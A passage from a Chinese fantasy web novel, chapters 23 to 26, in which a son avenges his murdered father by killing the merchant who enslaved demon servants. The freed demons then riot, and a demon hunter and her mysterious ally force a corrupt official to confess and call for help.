“长孙归璟。”
这一声下,刀刃狠厉抹过钱恒亮的脖子,他瞪大了眼睛,血液瞬间喷溅而出。
而周身僵硬的控制也随之撤下,他顺势倒下赶忙捂住了脖子,看着他震惊道:“你...你。”
长孙仲晏的脸上不免沾上了几点血液,他仿佛卸下了一身的重负蹲下,又往他的腹部捅上了一刀,狠厉道:“我其实从来不叫单祥,我叫长孙仲晏。”
最后,钱恒亮无力地摊倒在地上,血丝甚至染上他的眼球,死状可怖。
这是长孙仲晏无数次在他脑海中预演的场面,这下真见到了,他却并没有想象中的激动。
钱恒亮死后,他维持着一个姿势没有变动,死死地盯着钱恒亮大拇指之上的扳指。
就是这枚扳指下藏着操控数名妖仆的金丝,藏着萦绕他一生的噩梦。
他忽然抓住钱恒亮的手指,用匕首一刀一刀的剐下他的皮肉,切到骨头时便狠狠砍了下去,直到骨头彻底分离开来,那大拇指也因此崩了出去。
崩到了那群妖仆的脚下。
混乱间,便有一妖仆大声喊道:“钱老板死了!”
在场打斗的都停住了动作,纷纷看向了长孙仲晏以及地上钱恒亮血流成河的尸体。
“祥哥,你真的做到了?”一妖仆不可置信地喃喃道。
长孙仲晏没说话,可周围的妖仆都疯了一般丢下武器脱下自己的伪装,发出激动的吼叫声,变妖的变妖,藏尾巴的就把尾巴露出来,而有些光秃秃的手指也逐渐长出妖爪。
从前,钱恒亮就要求他们在客人面前一定要扮的像人,若是露了陷,下场很是惨重,轻则金丝折磨,重则割尾巴,割手指...
现在钱恒亮一死,终于是挣脱掉了束缚做回自己。
姜长泠拎着剑伫立原地,未曾想过打斗停下会是这么个场面。
更有的妖仆仰天长啸,眼含热泪。
正准备要走,姜长泠忽然丢下剑,对一众妖仆道:“各位且慢。”
闻言,长孙归璟也识趣地从她体内飘了出来。
万善堂中本除去刀剑相交的声音本变得安静无比,可在姜长泠听来,空中还有着数个亡魂哭泣、感慨的声音。
她整理了下思绪,对着看向她的妖仆道:“我知道各位受了许多苦难,但我还是想问问,你们都是从妖都办事处逃离出来的?”
“我曾被抓进妖都,不过睡了一觉后醒来自己便到了钱府,身上的灵力是恢复了,但也被钱恒亮绣上了什么金丝。”一妖仆率先解释,一旁的妖仆也跟着应和点点头。
姜长泠皱眉,这么看来钱恒亮真的与潘秉坤有所交集。
她欲想开口说些什么,可眼前的各个妖仆已然各显神通地逃离了万善堂。
还不知哪个妖对她说了一句:“有缘再会了!”
姜长泠眼看着他们离去已无力阻拦,心里只祈求着他们不要闹事。
这时,长孙仲晏也呆在原地许久,终是抬步向她走来,他拱手道:“姜捉妖师,方才多有得罪,见谅。”
姜长泠收回视线,点头道:“明白,你也是身不由己。”
“那...我爹他...”长孙仲晏神色黯淡,小心翼翼道。
“他在。”姜长泠看了一眼长孙归璟。
旁边的长孙归璟早已化作人形,上下打量着长孙仲晏感慨道:“变了,变了好多。”
“爹,我给你报仇了,你能安息了。”长孙仲晏低下头道。
长孙归璟看着近在咫尺的人,眼眶湿濡,愣是一句话都说不出口。
长孙仲晏忽然抬起头问:“他可有说什么?”
“长孙叔说...他错怪你了,之前看你作为还以为你不孝。”姜长泠道。
“我可没说啊。”长孙归璟忽然转头。
姜长泠却朝他一笑。
“哦。”长孙仲晏又再次低下头去,但难掩眼泪决堤,他还是决定了背过身去。
他又颤抖着道:“爹,对不起...”
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>四年前,他独自一人怄气离家出走,却从未想到过那就是他与他爹别离的最后一面。
因为他曾见过他爹快意潇洒的模样,所以不甘他沦为靠铸剑打铁营生。
他一直无法理解为什么长孙归璟要放弃那引以为傲的剑术隐退江湖,苟且偷生。
所以他选择与他爹背道而驰,他心想,既然长孙归璟不愿教他用剑,那他就自己去学。
后来,他在街上遇到一名老头,幸得其赏识,他就这么孤注一掷死死地跟着那名老头去了偏僻山林练剑。
那段时日,他尤为恣意快乐,却也不忘要回去给长孙归璟证明自己的实力如何。
终于有天,他觉得练得差不多时,与老头告了别,独自回到了桐阳县。
回到家中却发现空无一人,他不免有些着急地往四处打听,最后得才知了长孙归璟去了青竹城中的钱府。
于是他带着老头给他剩下的一点盘缠,磕磕碰碰寻进了青竹城中,找到了那家所谓的钱府。
他敲响府门,见到的第一面就被妖仆踹了开来,他不服气,结合了老头教他的和自己摸索的方法用着一把破铁剑将那开门的妖仆压制在了地面。
恰好,钱恒亮正在往府门走来瞥见这一幕,他甚是有趣地问他:“小毛孩,你是来做什么的?”
他抬头目露凶光:“我来找长孙归璟。”
也许就是这一眼,让钱恒亮觉得他是个可造之材。
他淡定地回答:“你找他做什么?”
“我有些东西还没交给他。”
他虽热血方刚,但也并非是无头苍蝇,那时,他倾身一瞥便看见钱恒亮身后的妖仆端着长孙归璟的剑,而另一边则是端了个盘子,上面盖着一匹染了鲜血的白布,凹出一个头颅的形状。
“很抱歉,恐怕你没办法交给他了,因为他已经离开了。”钱恒亮嘴角带着隐隐笑意,“小毛孩,我看你身手不错,要不要考虑当我的手下?”
“当你的手下有什么好处?”他皱眉问道。
“我可保你一生衣食无忧,前提是,你必须要听话和服从我给你的任务。”钱恒亮笑道。
他抬起下巴向那块白布点了一下:“那那是什么?”
钱恒亮转过身看了眼,指责道:“叫你拿块布盖着,你拿白的?嫌不够招摇是吗?”
妖仆顿时惊慌低头:“下属知错,这就去换块黑的。”
就在妖仆离开白布飘飞的一瞬间,他似乎看到了熟悉的面孔。
无数惶恐爬上他心头,炸得他背部一凉。
“没什么。”钱恒亮回过身来故作高深,“所以你这小毛孩意愿如何?”
他松开被擒着的妖仆,异常冷静地站起身来,目光如炬:“可以,但你首先得告诉我长孙归璟去了哪里?”
“嗯...方才那盘子上端着的那个就是他的人头。”钱恒亮笑了一声。
身后的妖仆识趣地关上府门。
“你还想知道些什么呢,小毛孩?”
他尤其记得那天的感觉,悲愤藏于心头却不能表露,苦涩愧疚不甘充斥脑海更不能言表。
23. 坦白
他深知自己处在一个怎样水深火热的处境之中。
可他年少不经事,眼泪最终还是夺眶而出,哽咽地说不出话。
钱恒亮一见,不免语气变得轻柔:“小毛孩,怎么哭了?”
他哭得泪涕齐下,抽噎地问他:“你...你为什么...要杀了他?”
“当然是因为他不听话,怎么,你替他伤心难过吗?”钱恒亮若无其事问道。
他摇摇头抹去眼泪哽咽着说:“我...我...恨他。”
恨他为什么这么不小心,就此把他弃之人世不管不顾。
“怎么恨了?你不是说还有东西没交给他么?”
他在原地哭了一会,愣是将那股委屈给咽了下去,想着如今他已经没有家人,也没有退路了,倒不如孤注一掷替父报仇,拿下眼前人的项上人头。
但他现在还不够厉害,还需要一个时机。
冷静下来后他红着眼睛盯着钱恒亮:“...不用给了...我愿意当你的手下。”
钱恒亮欣慰点头,眼神中露出得意:“你叫什么名字?”
他有模有样的弓身,低下头时眼里全是悲愤:“我不喜欢的我的名字,请大人赐名。”
“哦?正巧我之前在一众花名册翻到过了一个名字,我记得不错,不如你就叫单祥如何?”
单祥...他心里默默念了一遍。
“多谢大人,从今日起,我便叫单祥了。”
后来他被硬生生绣上了玄灵金丝被钱恒亮掌控,一直忍辱负重在他手下做事。
为的就是有一天他能报仇雪恨。
可他的情绪太浓烈,每次都会被钱恒亮发现,每次伴随而来的就是无尽的痛楚。
每一次的痛都让他当下想要臣服,放弃报仇的念头,可清醒过来后他的目的又无比清晰。
逐渐的,他学会了掩盖情绪,也终于明白了为什么长孙归璟要放弃那绝世无双的剑术归隐于人间。
因为人一旦有了软肋,做事就会有所顾虑,有所束缚。
而于长孙归璟而言,他和娘亲就是他的软肋,这个道理他悟了很久才懂。
可早已物是人非。
他也见过与他共事的妖仆苦楚,于是更坚定了要杀掉钱恒亮的念头,他曾在众妖面前扬言,他一定要杀了钱恒亮,还弟兄们一个自由。
这一诺便是四年。
直到今天,他终于有机会下手。
或许是上天垂怜,让他完成了一桩不可能的事,还让他遇见了一个能见到他爹的捉妖师。
“傻孩子。”长孙归璟不忍说了一句后,蓦然发现自身的灵力正大幅增长,这充盈的灵力甚至能让他渡化为一具实体。
他错愕地盯着自己的手逐渐染上常人的色彩。
谁在帮他?
他下意识抬头向高处看去,萧烬本还攀在栏杆处盯着他,一见他又缩了回去。
他心目了然,默默记下了这份恩情。
*
万善堂三层。
“公子,我们要下去吗?”符月炳问道。
萧烬抱臂漫不经心地向阶梯处走去:“嗯,慢慢走。”
“是。”
*
姜长泠看向他同样也震惊不已,问道:“长孙叔,你是如何做到的?”
难道这也是萧公子所为?
“这是...我还是不说了。”长孙归璟笑了下,全然没忘记那被折磨的痛苦。
听到了熟悉的声音,长孙仲晏那面壁思过低着的头猛然抬起,不可置信问道:“姜捉妖师,我是不是幻听了?”
“你觉得呢?”
回答他的还是幻听中的声音。
他惊疑地转身看去。
一身白衣,衣冠楚楚的长孙归璟安然无恙地正站在他面前,宛如当初他记忆中的江湖剑圣,是他心目中最厉害也是最想念的人。
“爹?”他颤抖着问道。
长孙归璟背过手对他笑了下:“仲晏。”
这一声彻底撞破他心里的防线。
这四年来,他本以为仲晏这个称谓早已随着他的过去被掩埋。
这个名字本代表着幸福、平安、快乐,可没想到再被抛出来时,鲜血淋漓。
如今他已经变成单祥,变为了一个十恶不做的罪人。
“爹,我无颜再面对你,我已经不是你期望的那个仲晏了。”长孙仲晏半步不敢靠近,只是在原地愣愣地看着他,眼眶湿润。
长孙归璟抬手抹去他脸上的落下的一滴泪,温声道:“瞎说,爹什么都知道了,这些年来你受苦了。”
温热的指尖摩挲过他的脸颊,忽然让他意识到眼前的人并不是一场幻觉。
“爹,你真的回来了吗。”长孙仲晏的眼泪忍不住再次决堤。
长孙归璟却没有回答他的问题,而是自顾自地说:“高了,瘦了,懂事了。”
长孙仲晏则是意识到这一点,连忙抓住了他的手,哽咽道:“我一点都不苦不累,爹你别走了好不好。”
氛围沉默了半晌,长孙归璟沉稳的目光落在他脸上许久,语重心长道:“天下无不散之筵席,人生中大大小小的生离死别你要学会承受。”
“你娘亲的离开便是教你的第一课。”
长孙仲晏拼命摇头:“可你现在不是回来了吗,为什么又要走?”
“你爹我本来就没活着。”长孙归璟忽而笑了一声,“其实,你年少时外出时教你练剑的那老头,是我曾还年轻时的挚交。”
长孙仲晏怔愣着,眼泪止不住地往下掉。
“切记,出门在外,防人之心不可无,这是我授予你的最后一课。”长孙归璟话音刚落,身体又逐渐演变为透明,“剩下的路就要靠你自己走了。”
长孙仲晏抓住的手骤然握空,喃喃:“爹,不要丢下我一个人好不好...”
“仇恨蒙蔽了你四年,是爹对不住你。”长孙归璟无声叹息,眼眶也有些红了起来。
“爹走了。”长孙归璟抚摸了下长孙仲晏的头,也回头向姜长泠颔首,“多谢姜捉妖师还有萧公子。”
接着他的身躯逐渐与背景融为一体,消散而去。
这个结局,姜长泠早有所预见,毕竟游荡在世间上的鬼魂都是有执念支撑所存。
一旦执念被化解,那么他们无论是有着多高的灵力修为都不复存在的意义,将入轮回了。
姜长泠也被这悲伤的氛围所渲染,心里变得难受起来。
尤其是长孙归璟消失后眼前的长孙仲晏还跪在地上哭得喘不过气来。
身后的灰豹本还在地上趴着百无聊
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赖地舔着爪子,却瞥见有两人从阶梯上下来,不免警惕地站了起身沉声道:“来者何人?”
听到动静的姜长泠转身看去。
一身淡红色血迹的银袍萧公子以及身边跟着的劲装冷脸仆从。
萧烬没有理会这灰豹,走到了姜长泠和长孙仲晏的面前:“既然...长孙归璟执念已解,离开人世入了轮回,这对于他来说也算是一桩好事,倒也不必如此悲哀。”
长孙仲晏闻言却哭得更厉害了。
萧烬不解,难不成他还说错话了?
“萧公子不如借一步说话吧?”姜长泠问道。
“也好。”萧烬点头。
于是两人挪步到了一旁。
姜长泠看着他一身银袍身上却不规则的有着淡红色点缀也没多想什么,便问:“...今日萧公子为何要帮我?”
萧烬则是看向她那手臂上已经松动被血染红一片的布条反问她:“伤口不痛么?”
他说的话总是有些让姜长泠有些摸不着头脑,方才她的确浑身感受不到疼痛,但这会冷静下来后确实感觉到伤口在隐隐胀痛。
“多谢关心,我没事。”姜长泠默默扎紧了手臂上的布条。
“手给我。”萧烬恨她是个不开窍的,还是个嘴硬的。
此话一出,姜长泠一言难尽地抬头看向他,四肢僵硬地像是灌了铅:“为何如此?”
“帮你疗伤。”萧烬面无表情道。
“...之前,莫非都是萧公子帮我疗愈的伤?”姜长泠试探问道。
“...咳咳。”萧烬只好卷起自己的衣袍展露出自己莫名其妙的伤口,“你猜我身上的这些伤口从哪里来的?”
姜长泠瞪大了眼睛,不禁觉得这场面有些荒诞,这刀伤貌似与自己手臂上的有些相像,当她松开自己手臂上的布条上与他的伤口一一比对起来,却惊觉吻合...
况且萧烬身上的银袍也未曾有过刀割的痕迹,更加地坐实了这伤口是源于她身上的情况。
“为什么会这样?”姜长泠一头雾水。
“这也是我想问你的。”萧烬道,“况且这伤,在我身上无法被疗愈,所以我只能疗愈你。”
萧烬静静地盯着她,似是想要从她的表情中捕捉到什么其他的情绪。
但姜长泠始终处在云雾里一般,甚至有些苦涩歉意。
“你中有我,我中有你,生死与共,此乃为禁咒。”灰豹忽然对这边的谈话感兴趣了起来,缓声开口。
众人循着声音朝它看去,等着它的下文发落。
灰豹又不得不再继续说:“你们这种情况,我曾听闻过这是上古某一位神的禁咒,再具体的,我也不知了。”
众人又不约而同地转回头去。
萧烬还是对姜长泠道:“手。”
她怔然,心想本不想麻烦萧烬,但转念一想,又并非是她一人承受疼痛,还是迟疑着把手交了出去。
原以为萧烬触碰上她的手腕时会一如往常的冰凉,可这次却格外的炙热。
她开始还觉得神奇,不过一会她就想通了。
凡人没有灵力抵御寒邪,在冰天雪地中手自然是冰凉的,而萧烬在她面前伪装成一介凡人,就连手中的温度都进行了仿刻。
“阁下究竟是谁?”姜长泠不禁问道。
24. 混乱
萧烬道:“除了失忆以外,我说的都是真的。”
手腕上的灵流即停,炙热的温度也从她手上离去。
姜长泠忽然觉得萧烬与他之间的距离隔了一条鸿沟,深不见底。
对方无论是身份地位还是修为高到什么境界,她一概不知,在之前她还想着保护他,现在想来简直是班门弄斧。
“多谢,萧公子。”姜长泠放下手,“不过我尚且还有一个问题,萧公子为何要假装失忆?”
“自然是因为不了解你,仅是初次见面我的性命便交付于一陌生女子手里,换做你会如何作想?”
姜长泠沉吟,的确,若此事发生在她身上,她也无从下手。
若是另外一人有心利用这禁咒,这用途难免会五花八门。
“如此擅长蛊困人心,想必这位公子你是从魔界来的吧。”灰豹的声音远远向他们传来。
众人回望看它。
灰豹恹恹地趴在地面,百无聊赖地甩着尾巴:“方才我便感受到体内有股威压一直压制着我的灵力让我无法用尽全力,也是你做的吧?”
萧烬勾唇:“我说不是,你信吗?”
灰豹不过与他视线相接触一瞬,它便炸了毛,那是它本能地觉得眼前人异常的危险。
索性它扭过头不去看他:“不说也罢。”
忽然间,万善堂的上空传下一把洪亮的声音:“姜长泠!你没事吧!”
姜长泠闻声抬头看向高层,光是听声音也知是白祝锦来了,她下意识摇摇头。
也不知白祝锦看清楚了没有。
“你没事就好!”白祝锦趴在围栏处大喊,“外面乱成一锅粥了,不知道为什么突然间出现了很多妖!抓都抓不完!”
姜长泠眉心突突地跳了两下。
她最担心的事情还是发生了。
没想到她这奋力一搏的场面竟是如此难以收场...
“你先呆在上面不要走,等我上去!”姜长泠反应过来后冲向阶梯。
见这情况,灰豹突然撑起了半个身子问道:“你先别走,你走了我怎么回蓬莱?”
姜长泠边走边说:“长孙仲晏会帮你的,他自有方法。”
而符月炳看着她的背影越走越远,不免叹了口气也默默地跟了上去。
萧烬则伫立在原地看向长孙仲晏身上带着的那两枚铜镜,便好奇问向灰豹:“是这里的人抓你过来的?”
灰豹不耐烦地眨了眨眼睛,伏下身子蜷缩起爪子:“来抓我的人并非是这里的小喽喽,而是另一些缚妖师,修为不高,法宝倒是用的一流。”
这话也恰好被正在上阶梯的姜长泠听到,她不禁内心起疑。
缚妖师这个称谓她也曾有所耳闻,貌似是高阶捉妖师之上的称谓了。
不过她并没有过多了解这方面的记载,毕竟那个位置对她来说还是太过遥远了。
她没精力再分心多想,现在当务之急是要先联络到二处的主办大人。
迅速跑到了三层与白祝锦会面后,她便道:“万善堂此事攸关重大,容后我再跟你解释来龙去脉,白父白母或是你哥可与妖都二处有所往来?”
白祝锦仰头思考,艰难地回想着:“二处的孟主办貌似曾有过书信来访,不过我爹那时不喜与捉妖的有所交集,见到信直接遣人扔掉了。”
“但外面的情况不容乐观,恐怕早要惊动二处的人了。”
姜长泠扶额问道:“外面情况有多夸张?”
“你出去看看便知道了。”说罢,白祝锦便率先拿出佩剑走了出去,“定要万分小心!”
怀揣着紧张的思绪,姜长泠也随着白祝锦的步伐走出了万善堂。
映入眼帘的却还是一片祥和。
但基于这万善堂所处的位置正偏僻,所幸还瞧不出什么端倪。
“别看这没事,其实整条街已经乱成一片了。”白祝锦一边摇头一边往前走。
两人正移步向前走时,相邻房屋之上忽然跃上两个人影吸引住姜长泠的视线。
竟然是两只妖在打斗…
她当即心里便知道了大概乱到了什么地步。
移步至街内,一颗青菜便从他们面前飞过,紧接着尖叫声,杂物被推翻倒地的响声不绝于耳。
地上已经躺倒了几具不知名尸体,血流蜿蜒曲折。
再往远处看,便能看见有不知名捉妖师正甩着伏妖绳追妖。
“这状况,督办应该知晓了吧?”姜长泠问道。
“传音符已经传过去了,可督办迟迟没有回音。”白祝锦叹息道。
姜长泠凝眉,果断地往回跑去。
“姜长泠,你回去做什么?!”白祝锦的声音从她身后传来。
“救人!”姜长泠只好作简短的解释。
方才她看见两只妖打架,这场面绝不会单只是钱恒亮死后释放的妖反目的局面,很有可能是督办手下也掺和进了这场乱斗之中。
这么严重的妖潮席卷,督办不可能不知道此事也不做任何回应。
唯一的猜测也就只有他在试图用自己的能力摆平这件事且打算摆平后再作上报。
但到那时也不知已经死了多少人了。
她跑回万善堂时正巧看见萧烬走了出来,可她只是匆匆看了一眼便径直地略过了他。
三层的阶梯之上,长孙仲晏正捧着一枚铜镜抹着鼻涕走上来。
姜长泠叫住他:“长孙仲晏,你可是要将那灰豹送回蓬莱?”
长孙仲晏闻声抬头,带着浓重的鼻音说:“是。”
“既然如此,你可否绕路去淮庆城的妖都办事一趟,告知青竹城中的状况?”姜长泠问道。
他愣愣点头,又问道:“外面怎么了?”
“外面现在全是钱恒亮手下的妖仆为祸人间,乱成一片了。”姜长泠难堪道,“你出城时也务必要小心。”
“怎可能,他们待我如情同手足,性情绝对不可能会如此!”长孙仲晏的丧意一扫而空,取而代之的是不可置信。
“不管你信不信,外面确实已是一片狼藉,再没有外援过来恐怕整个青竹城都会被攻陷。”姜长泠严肃道。
长孙仲晏当即拨开姜长泠跑了出去。
见状,姜长泠也只好追了出去。
“长孙仲晏,你去哪!”
“我要去找我的弟兄证明!”
于是就这样,两人一前一后跃上了一座
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又一座的房顶。
而萧烬靠在万善堂的大门旁,无奈地看着那三个离去的身影。
他不禁想,难道是他的存在感太弱,姜长泠觉得他帮不上忙么?
*
姜长泠一路跟着长孙仲晏跃过几处屋檐,顺路见到的街景皆是能用惨不忍睹来形容。
终于,长孙仲晏在一座屋檐上停留下来,满街混乱上,她看见一名妇女落荒而逃,身后正追着一只狐妖。
“财时!”长孙仲晏远远喊了一声,可这时姜长泠已然翻下屋檐挺身而出,甩出缚妖绳狠狠将那狐妖给拦截下来。
“财时,我是祥哥!”长孙仲晏这会才下屋檐,从姜长泠身边走过。
名为财时的狐妖霎时转过身来,满脸猩红怒道:“我没有名字也不叫财时!虽然你救了大家,但不代表我不会杀别人!”
言毕,姜长泠手中灵力更盛,收紧了缚妖绳往一旁甩去,那狐妖顿时砸在一堆杂物中发出嚎叫。
趁此间,姜长泠立马从袖中拿出一个降妖袋准备驱动,却被长孙仲晏拦下。
他向狐妖走去,蹲下身与它视线持平,不解问道:“我不是让你们逃到天涯海角吗,为什么还要杀人?”
狐妖挣动着缚妖绳露出獠牙:“钱恒亮杀妖无数,为何我就不能杀人!”
“那不一样!你们不该是这样的,难道钱恒亮是无恶不赦的罪人,你们也是吗,你们明明也尝过苦头了啊!”长孙仲晏愤怒道。
“单祥,是你太蠢了!钱恒亮的统治被颠覆就是我们翻身的好机会,现在你不与弟兄们血洗青竹城,来日就是弟兄们被血洗!”
长孙仲晏悲痛摇头:“你们都错了,你们惹急了他们你们只会死的会更惨!”
“若我们不反抗,将会永远被这些人打压永无出头之日!祥哥,你是人你又怎会明白我们妖的处境!”
姜长泠默默在一旁看着,心中五味杂陈。
她深知这些妖饱受了多少年钱恒亮惨无人道的虐待,但当务之急她还是要先将青竹城从水深火热之中救出来。
长孙仲晏的表情刚有缓和,姜长泠手中的降妖袋已然施法向狐妖收去。
“姜捉妖师...?”长孙仲晏回过头疑惑道。
“恐怕你忘记了这些妖仆本就是戴罪之身。”姜长泠再抽出一张镇妖符贴在降妖袋上,“它们杀人报复,或许都因钱恒亮而起,但也不乏本就对人怀恨、排异的妖,等你一个个劝完,整座城也要被屠尽了。”
长孙仲晏听着略有不服,但也无言以对。
姜长泠也不忍打破他对昔日的好兄弟情谊的美好幻想,只好委婉道:“若是真正与你交心的妖恐怕早在钱恒亮死时逃了,剩下作乱的根本没把你的话放心上,你又何必顾及他们呢?”
“长孙叔的愿景是让我揭开钱恒亮所做的污秽之事,还冤魂一个明白,如今钱恒亮一死,恨他的冤魂自然圆愿,但他做的事却未必能被公之于众,那他们的家人就永远不知道自己因何而死。”
“为什么不会被公之于众?”长孙仲璟一脸愕然。
姜长泠又问:“你说我为什么让你去淮庆城找二处的主办大人?”
“寻求援助?”
25. 借势
姜长泠捏了捏眉心道:“你既知钱恒亮与妖都督办有所往来,而这次妖潮动乱又事关钱恒亮,那么你觉得督办敢将此事上报么?倘若这件事被他独自摆平,钱恒亮的事迹便将再难以重见光明,如果不能摆平,青竹城便会经历一场浩劫。”
“这些结局真的是你想预见的吗?”
长孙仲晏握了握拳头,眸光逐渐黯淡下来。
似乎是内心挣扎了一番。
许久,他点头道:“我答应你,但是...若能遇到可商议的妖,你能不能放过他们一马?”
姜长泠拿起手中的降妖袋道:“我允诺你,尽量不杀。”
“好。”长孙仲晏抹了抹眼睛站起身来,“那我走了。”
“路上小心,还望一帆风顺。”
“多谢。”
话毕,长孙仲晏便转身跃上屋檐奔去。
而姜长泠也在此刻转身朝一个方向跑去。
她心中也只有着一个念头:要先回到妖都。
不过刚跑不远她又碰巧遇到了四散落难的流民被妖追赶着,无法,她只好停步下来先将妖给降服。
她刚想释放灵力,却见身边蹿过一个人影,执着剑,速度极快地冲向那一只妖仆。
一人一妖短暂的交手后,妖仆最终惨死在了符月炳的剑下。
姜长泠自然是认得眼前这个人。
她大概也猜到他为什么会出手帮她。
于是她继续向前跑着,经过符月炳时对他说了句:“多谢道友出手。”
符月炳默默收了剑,飞跃上屋檐消失了影踪。
接下来姜长泠每经过一个岔路口时都能看见两边的街道都倒下了正流着血的妖仆的尸体而幸存的百姓匆匆跑开的场面。
感激之意在她心头油然而生。
就这样,她一路畅通无阻到达了妖都的附近。
惊悚的是,妖都的大门外竟堆放了好几具尸体,而门上赫然印着几个血手印。
她不禁皱起眉,小心翼翼地越过那几具尸体找到了一处落脚点,手不过撑在了大门之上轻轻推了下,却被她轻易推开出了一条缝隙。
疑惑之下,她猛然推开大门。
一瞬间,她看见了门后正藏了两只妖仆准备向她袭来,还未有动作,那两只妖仆就被一柄亮剑横在脖颈间划过,无声无息地在她面前倒了下去。
两个妖仆倒下后,她果然看见符月炳持着带血的剑一脸漠然的就站在她面前。
“不胜感激。”姜长泠对他略微一抱拳便冲了进去。
转芒堂内,史部的人死了一片,横七竖八地布满了整个地板,血流成河。
而那熟悉的高堂之上,潘秉坤一脸病态的苍白,提着笔的手正微微颤抖停下,才抬头看向他们。
他强压着镇定问道:“姜长泠你回来的正好,外面的情况怎么了?”
姜长泠盯着他道:“整个青竹城都布满了罪妖,督办就这么放任不管吗?”
“放肆!哪里不管了,本督办这不是已经将捉妖师全部派遣出去了吗!”潘秉坤激动道。
“钱恒亮已死,他手下的罪妖全部被释放,恐怕整个妖都三处的人手出马都不够摆平的,督办就不打算向二处求援?”姜长泠一步步向堂上走去。
“他为什么会死!?”闻言,潘秉坤震怒,见她靠近又赶忙将桌上写着的信纸用册子盖住,“他死了又与本督办有何干系?”
姜长泠一拍桌子道:“如若不是督办将地牢中的罪妖押送给钱恒亮,而钱恒亮又用着玄灵金丝操控罪妖干着不为人知的污秽之事,我想今天这个局面也不会发生吧?”
潘秉坤目光瞥向一边哑口无言。
姜长泠见潘秉坤这副模样就知自己说的是事实。
这么想来,那天她濒死遇到的虎妖应该正是幸从钱恒亮手下逃离出来还未绣上玄灵金丝的妖。
虽身上有着束灵烙印,但灵力不知因何被解封逃出来为祸了人间。
所以第二天她将此事上报给了督办,而督办也置之不理的态度也能解释得通了。
而虎妖事发时就只有她和白祝锦两人在场,钱恒亮便只想将他们两个以捉妖的名义置他们于死地,不惜派出了数个妖仆分散掉妖都所有捉妖师的注意。
让白祝锦孤立无援,差点死在那两只鼠妖手里,而她碰巧在那客栈遇见了萧公子才被救下。
又想到在抚柳院的种种,她才反应过来自从遇到虎妖后她无时不处在危险之中。
多亏了萧公子和长孙叔的一路相助,她才能安然无恙地走到了现在。
她不免有些后背发凉。
“你到底是如何知道那么多的?”潘秉坤沉声问道。
“你无需知道。”姜长泠道,“你现在要做的便是尽快将青竹城的状况传达给二处的主办大人请求援助。”
潘秉坤干笑一声:“你觉得我会这么蠢吗,信不信我将手底下派出去的妖全部收回来,让青竹城的人死得更多?”
“纸永远包不住火,就算你独自平息了这场斗争,也定会有人将这事告到二处,你无论如何都不可能再坐督办之位。”
“那又如何?”潘秉坤咧开苍白的唇得意地笑了起来,仿佛是在笑她的无能。
他一旦以百姓的性命来做要挟,他就笃定了姜长泠不敢对他怎么样。
潘秉坤笑起来的模样太恶心,后面站着的符月炳都忍不下去开口:“姜捉妖师,你还是太过善良,这种人宁愿杀掉也不用与他多费口舌。”
杀掉?那青竹城中剩下的百姓该怎么办?
姜长泠不免有些丧气。
“不想死的话,活着也不错。”萧烬的声音从身后传来。
接着潘秉坤眉头一皱,还不知道眼下的人说的不错在哪,一股拧紧的拉扯感便慢慢爬上他的全身。
姜长泠刚看见他表情上的异样眼前就忽而一暗被人用手捂住了。
这阵温热之意与她脸上冰凉相霎时触碰让她为之一颤。
她刚想动弹,就听见潘秉坤的惨叫声像杀猪一般传遍整个转芒堂,她突然又想不动了…
“招不招?”萧烬温柔的声音近在她耳边。
这般春风拂面的语气另姜长泠根本想象不到身边的人在对潘秉坤做了什么惨
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无人道的刑法。
甚至还要捂上她的眼睛。
“招,招啊!我什么都招!你让我做什么都可以!”潘秉坤忍着疼痛咬牙道。
这下萧烬才收手。
姜长泠的眼前又恢复了光明。
她看向潘秉坤时,发现他能看见得地方都布满了一条条血痕,皮肤也红肿了一大片。
她再扭头看向萧烬,一双黑眸平静似水,见她时瞳孔便染上几分笑意:“这么看我做什么,我是怕方才的画面你承受不住。”
“多谢。”姜长泠眨了眨眼随即从他身上挪开了视线。
潘秉坤才缓过劲来,一怒之下将刚才写着的信纸撕了个稀碎,重新拿了一张崭新的信纸:“说吧,你们要我写什么都可以。”
“把你的罪行和青竹城的现状纷纷交代清楚。”姜长泠扣了扣桌子。
潘秉坤一听这不就是让他写遗书的意思?
于是他灵机一闪便道:“这样,我先让二处搬援兵来,剩下这封信我在你们眼皮底下写完再交如何?”
“那便如此。”姜长泠妥协点头。
闻言,潘秉坤从袖中抽出一张青绿色的符纸毕恭毕敬道:“孟大人,青竹城突发妖潮火烧眉急,有着回天乏术之势,恳求孟大人派捉妖师前往青竹城增援。”
话毕,那青绿色的符纸便化为青烟。
“这样总可以了吧。”潘秉坤抬头看了他们一眼就准备提笔写字。
他不过刚写了几个字准备沾沾墨水时,来自二处的孟大人回音就来了。
一张蓝底符纸悬空漂浮却只有简短的四字从上面传出:“自行解决。”
姜长泠不解皱眉。
二处的处理方式竟是如此冷漠?
“你们也看到了,是孟大人不肯施以援手。”潘秉坤无奈甩手。
“不对,你再说一次。”姜长泠道,“方才你话语中的意思是突发的意外,而并未坦白是因为你贪污勾当而导致的失控残局。”
潘秉坤背后寒毛直竖,不断咽了好几口唾沫。
“看来督办大人这么快忘记刚才受过的苦楚了?”姜长泠凝眸看向他。
此话落下,萧烬颇有深意地看了一眼姜长泠。
她什么时候学会借势了?
难道不是哪怕是超过了自己的能力范围也要独自抗下事事的那个姜捉妖师么?
“没有,绝对没有。”潘秉坤狂甩头,方才他全身皮肤被凑紧到极致的感觉他就算到了地狱也不会忘记。
他欲哭无泪地点头:“我说,我什么都说。”
就在这时,一张蓝色符纸再次悬至空中:“贤弟能处理得过来么?”
潘秉坤心里拼了命地想说能,可奈于面前还有两个不知从何而降的正义使者正在制裁他啊!
他只能讪讪地拿出青绿色的符纸道:“孟大人,我要主动坦白我的罪行,是我的错,我不该将那些罪妖卖给富商,现在富商死了,整个青竹城都被罪妖席卷了,我保不住青竹城,也保不住我这督办之位。”
说完,他硬是捏了那张符纸很久不肯松手,默默挤出了两行浊泪。
26. 同行
最后他还是心如死灰地松开了那张传音符。
“这么做,你们满意了吗?我都这么一把年纪了你们能不能不要再折腾我了,啊,放我一条生路可以吗?”潘秉坤心里倒是很清楚那张坦言有罪的传音符一旦传过去,他必死无疑。
索性他不顾一切撇开椅子跪在了地上。
反正横竖都是死,不如求情试试。
“姜长泠你说说,这么多年来我可有过刁难你?我对你一直都是不错的吧,我现在罪行也坦白了,支援也给你叫过来了,是不是可以放过我一马了?”
姜长泠只是冷眼看向他:“我只觉得督办大人向来刚愎自用,尖酸刻薄,唯利是图,虚假伪善。”
潘秉坤被骂的狗血淋头,却还是一脸讨好地问道:“你难道不觉得我给百姓发放赔偿很慈善吗,坏的那面你都看到了,那好的那面呢?”
